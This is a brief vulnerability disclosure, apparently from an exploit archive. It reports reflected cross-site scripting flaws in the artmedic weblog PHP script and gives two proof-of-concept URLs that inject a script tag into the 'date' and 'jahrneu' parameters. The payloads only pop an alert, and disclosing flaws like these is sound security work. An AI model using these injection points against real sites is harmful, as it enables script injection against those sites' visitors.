artmedic weblog multiple xss vulnerabilities

download   http://artmedic-phpscripts.de/index.php?did=artmedic_weblog.zip

author     muuratsalo
contact    muuratsalo[at]gmail.com

exploits
http://localhost/artmedic_weblog/artmedic_print.php?date=<script>alert(1)</script>
http://localhost/artmedic_weblog/index.php?jahrneu=<script>alert(1)</script>